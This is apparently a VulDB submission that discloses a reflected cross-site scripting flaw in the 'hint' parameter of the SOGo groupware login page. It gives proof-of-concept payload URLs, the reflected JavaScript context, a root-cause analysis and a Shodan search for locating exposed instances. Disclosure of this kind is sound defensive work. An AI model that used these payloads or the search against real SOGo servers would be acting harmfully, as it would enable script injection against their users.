提交 #757609: Inverse / SOGo Community SOGo Groupware 5.12.3 - 5.12.4 Cross Site Scripting

Summary

A reflected Cross-Site Scripting (XSS) vulnerability exists in SOGo version 5.12.4 within the web login interface. The application fails to properly sanitize and encode user-controlled input passed through the hint URL parameter before embedding it into a JavaScript context.

This flaw allows remote attackers to inject and execute arbitrary JavaScript code in the context of the victim’s browser by convincing users to visit a specially crafted URL.

Vulnerable Endpoint
/SOGo?hint=

Example:

https://target-domain/SOGo?hint=<payload>

Dork:

https://www.shodan.io/search?query=title%3A%22SOGo%22

Proof of Concept (PoC)

Payloads (Examples)

https://example.com/SOGo?hint=%27-alert%28document.domain%29-%27/
https://example.com/SOGo/?hint=%27-alert%28document.domain%29-%27/
https://example.com/SOGo/?hint=%27-alert%28document.domain%29-%27/
https://example.com/SOGo/?hint=%27-alert%28document.domain%29-%27//SOGo/

Decoded payload:

'-alert(document.domain)-'/

Reflected Output

The payload is reflected in the following JavaScript context:

<script type="text/javascript">
var cookieUsername = "";
var language = 'BrazilianPortuguese';
var loginHint = ''-alert(document.domain)-'/'
</script>

This breaks out of the string and triggers JavaScript execution.

Root Cause Analysis

The vulnerability occurs because the hint parameter is embedded directly into a JavaScript variable without proper escaping:

var loginHint = '<user_input>';

No context-aware output encoding is applied. As a result, attackers can inject special characters (', ", /) to terminate the string and execute arbitrary code.

Impact

Successful exploitation allows attackers to execute arbitrary JavaScript in the context of the affected domain.

• 来源: ⚠️ https://www.sogo.nu/
• 用户: erickfernandox (UID 57733)
• 提交: 2026-02-13 05時23分 (5 月前)
• 管理: 2026-02-23 18時55分 (11 days later)
• 状态: 已接受
• VulDB条目: 347412 [Alinto SOGo 5.12.3/5.12.4 hint 跨网站脚本]
• 积分: 17